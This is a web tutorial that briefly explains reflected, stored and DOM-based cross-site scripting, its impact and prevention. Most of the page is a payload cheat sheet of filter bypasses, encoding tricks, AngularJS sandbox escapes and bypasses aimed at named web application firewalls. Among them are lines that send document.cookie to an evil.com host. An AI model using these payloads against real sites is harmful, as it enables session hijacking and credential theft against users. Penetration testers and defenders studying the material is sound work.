JIYIK CN >

Current Location:Home > Learning > NETWORK >

The Penetration Tester's Guide to Cross-Site Scripting (XSS)

Author:JIYIK Last Updated:2025/03/17 Views:

What is Cross-Site Scripting?

A cross-site scripting (XSS) attack is a type of injection where a malicious script is injected into an otherwise benign and trusted website. XSS attacks occur when an attacker uses a web application to send malicious code, usually in the form of a browser-side script, to a different end user. Vulnerabilities that allow these attacks to succeed are extremely common and can occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way of knowing that the script should not be trusted and executes it. Because it thinks the script is from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information that the browser retains and uses with the site. These scripts can even rewrite the content of the HTML page.

XSS cross-site scripting attack flow chart

There are 3 types of XSS attacks:

  • Reflected XSS
  • Stored XSS
  • DOM-based XSS

Reflected attacks are attacks where injected script is reflected from a web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to the victim through other means, such as in an email message or on another website. When a user is tricked into clicking a malicious link, submitting a specially crafted form, or even just browsing a malicious website, the injected code is propagated to the vulnerable website, reflecting the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is sometimes also called non-persistent or Type II XSS.

Storage attacks are where the injected script is permanently stored on the target server, such as in a database, message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when requesting the stored information. Storage XSS is sometimes also called Persistent or Type-I XSS.

DOM-based XSS (also referred to as "type-0 XSS" in some texts) is an XSS attack in which the attack payload is executed by modifying the DOM "environment" used by the original client-side script in the victim's browser so that the client-side code behaves in an "unexpected" manner. That is, the page itself (i.e., the HTTP response) is not changed, but the client-side code contained in the page executes differently due to the malicious modifications that occurred in the DOM environment.

Another type of XSS, called Self-XSS , is usually less impactful and cannot be exploited without user interaction. It operates by tricking the user into copying and pasting malicious content into the browser's web developer console.


What is the impact of XSS?

An attacker exploiting a cross-site scripting vulnerability would typically be able to:

  • Impersonate or pretend to be the victim user
  • Hijacking user sessions
  • Conducting unauthorized activities
  • Stealing sensitive information
  • Performing a phishing attack
  • Capture the user's login credentials.
  • Capturing keystrokes
  • Destroy the website.
  • Inject Trojan horse functionality into the website.

How to Exploit XSS?

When exploiting XSS vulnerabilities, you should understand how the application behaves with specific payloads. Before exploiting XSS vulnerabilities, you can consider the following checklist:

  • Find blacklisted/filtered characters. We can use XSS locator for this:
    '';! - "<XSS>=&{()}
    
  • Observe which tags are blocked by the WAF and which keywords are allowed (iframe, img, body, etc.)
  • Try character encodings (URL encoding, double URL encoding, UTF-8 Unicode encoding, Long UTF-8 Unicode encoding, hexadecimal encoding, etc.)
  • Try using HTML quote encapsulation XSS
  • Try URL string evasion
  • Create a list of payloads based on allowed keywords
  • Brute-forcing the application using the list of XSS payloads we just created

注意: You can try double URL encoding, because the first decoding process is performed by the HTTP protocol, so the encoded URL will bypass the XSS filter.


memorandum

XSS Locator:

'';!--"<XSS>=&{()}

Classic payload:

<svg onload=alert(1)>
"><svg onload=alert(1)>
<iframe src="javascript:alert(1)">
"><script src=data:&comma;alert(1)//

Bypass script tag filter:

<svg/onload=alert(1)>
<script>alert(1)</script>
<script     >alert(1)</script>
<ScRipT>alert(1)</sCriPt>
<%00script>alert(1)</script>
<script>al%00ert(1)</script>

HTML Tags

<img/src=x a='' onerror=alert(1)>
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<img src=`x`onerror=alert(1)>
<img src='/' onerror='alert("kalisa")'>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<SCRIPT SRC=http:/vulonmpw.com/xss.js?< B >
"><XSS<test accesskey=x onclick=alert(1)//test
<svg><discard onbegin=alert(1)>
<script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script>
<script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script>

Tags

<BASE HREF="javascript:alert('XSS');//">
<DIV STYLE="width: expression(alert('XSS'));">
<TABLE BACKGROUND="javascript:alert('XSS')">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss onclick="alert(1)">test</xss>
<xss onmousedown="alert(1)">test</xss>
<body onresize=alert(1)>”onload=this.style.width=‘100px’>
<xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script>

Character Code

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

If the input is already in a script tag:

@domain.com">user+'-alert`1`-'@domain.com

AngularJS:

{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{{}.")));alert(1)//"}}
{{{}.")));alert(1)//"}}
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)

No Script

<link rel=icon href="//evil?
<iframe src="//evil?
<iframe src="//evil?
<input type=hidden type=image src="//evil?

Unclosed tags

<svg onload=alert(1)//

DOM XSS

“><svg onload=alert(1)>
<img src=1 onerror=alert(1)>
javascript:alert(document.cookie)
\“-alert(1)}//
<><img src=1 onerror=alert(1)>

Other Use Cases

param=abc`;return+false});});alert`xss`;</script>
abc`; Finish the string
return+false}); Finish the jQuery click function
}); Finish the jQuery ready function
alert`xss`; Here we can execute our code
</script> This closes the script tag to prevent JavaScript parsing errors

Bypass restrictions

brackets

<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>

Brackets and no semicolon:

<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

No brackets or spaces

<script>Function`X${document.location.hash.substr`1`}```</script>

Angle bracket HTML encoding (in attributes):

“onmouseover=“alert(1)
‘-alert(1)-’

If the quotes are escaped:

‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//

Embed tab, line break, carriage return to decompose XSS:

<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

other

<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)

coding

Unicode:

<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>

Hex:

<script>eval('\x61lert(1)')</script>

HTML:

<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>
\’-alert(1)//

URL:

<a href="javascript:x='%27-alert(1)-%27';">XSS</a>

Double URL Encoding

%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E

Unicode + HTML:

<svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>

HTML + URL:

<iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>

Bypassing WAF

Imperva Incapsula:

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
<img/src="x"/onerror="[JS-F**K Payload]">
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>

WebKnight:

<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

Big IP:

<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="[JS-F**k Payload]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

Barracuda WAF:

<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

PHP-IDS:

<svg+onload=+"[DATA]"
<svg+onload=+"aler%25%37%34(1)"

Mod-Security:

<a href="j[785 bytes of (&NewLine;&Tab;)]avascript:alert(1);">XSS</a>
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

Quick Defense:

<input type="search" onsearch="aler\u0074(1)">
<details ontoggle="aler\u0074(1)">

Sucuri WAF:

1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4

How to prevent it?

Filter based on patterns or regular expressions and determine the type of data that the system accepts and does not accept.

  • Use a security framework to automatically encode content to prevent XSS by design. Encoding untrusted HTTP request data into HTML output fields (body, attributes, JavaScript, CSS, or URLs) addresses both reflected and stored XSS.
  • Sanitize all data input and avoid any kind of special characters.
  • Accept all types of data, but escape them properly.
  • All types of data are accepted, but inappropriate content is removed.
  • Accepts all types of data but converts them to acceptable data types.

For reprinting, please send an email to 1244347461@qq.com for approval. After obtaining the author's consent, kindly include the source as a link.

Article URL:

Related Articles

What multipart/form-data does in post Upload upload files

Publish Date:2025/03/18 Views:63 Category:NETWORK

Everyone has used the attribute enctype="multipart/form-data" when uploading files using a form. What is the role of multipart/form-data? Let's talk about this topic. First, let's look at a case Look at the first code   form action= "handl

About application/x-www-form-urlencoded

Publish Date:2025/03/18 Views:147 Category:NETWORK

As a data format of form, application/x-www-form-urlencoded has its own characteristics   form action= "handle.php" method= "post"    input type= "text" name= " uname"   class= " uname" /br /    input type= "text" name= "email" class=

My understanding of webservice is this

Publish Date:2025/03/18 Views:147 Category:NETWORK

Recently, I encountered such a project at work (temporarily named Project A). Project A itself was developed in PHP, but its data came from another project developed in Java (temporarily named Project B). Project A could not operate the dat

WSDL looks like this

Publish Date:2025/03/18 Views:190 Category:NETWORK

When I first started learning Webservice, I found that there were quite a lot of knowledge points involved, and each point could be a school of its own. Especially when I saw WSDL, I looked up information for a long time, but I was still a

Which technology do you choose to implement the web chat room?

Publish Date:2025/03/18 Views:61 Category:NETWORK

With the rise of HTML5 Websockets, web chat applications are becoming more and more popular. Recently, I am working on a mobile web application, the core function of which is to implement web chat on the mobile phone. Of course, the functio

Implementing a group chat room using socket.io

Publish Date:2025/03/18 Views:65 Category:NETWORK

This article will share with you an example of using socket.io to realize the function of group chat. If you want to use socket.io, you must use nodejs to implement the server, so we need to install socket.io in nodejs Install socket.io How

First contact with CGI

Publish Date:2025/03/18 Views:51 Category:NETWORK

Since I am a PHP programmer, I often have to build a PHP operating environment. The popular nginx+php environment is very popular, and the mode it adopts is the FastCGI method, so I spent some time to learn about FastCGI. CGI (Common Gatewa

Getting started with FastCGI

Publish Date:2025/03/18 Views:164 Category:NETWORK

In "First Contact with CGI", we mentioned the operating mechanisms of CGI and Server APIs, as well as their respective advantages and disadvantages. In this chapter, we will learn about FastCGI, which combines the advantages of CGI and Serv

Scan to Read All Tech Tutorials

Social Media
  • https://www.github.com/onmpw
  • qq:1244347461

Recommended

Tags

Scan the Code
Easier Access Tutorial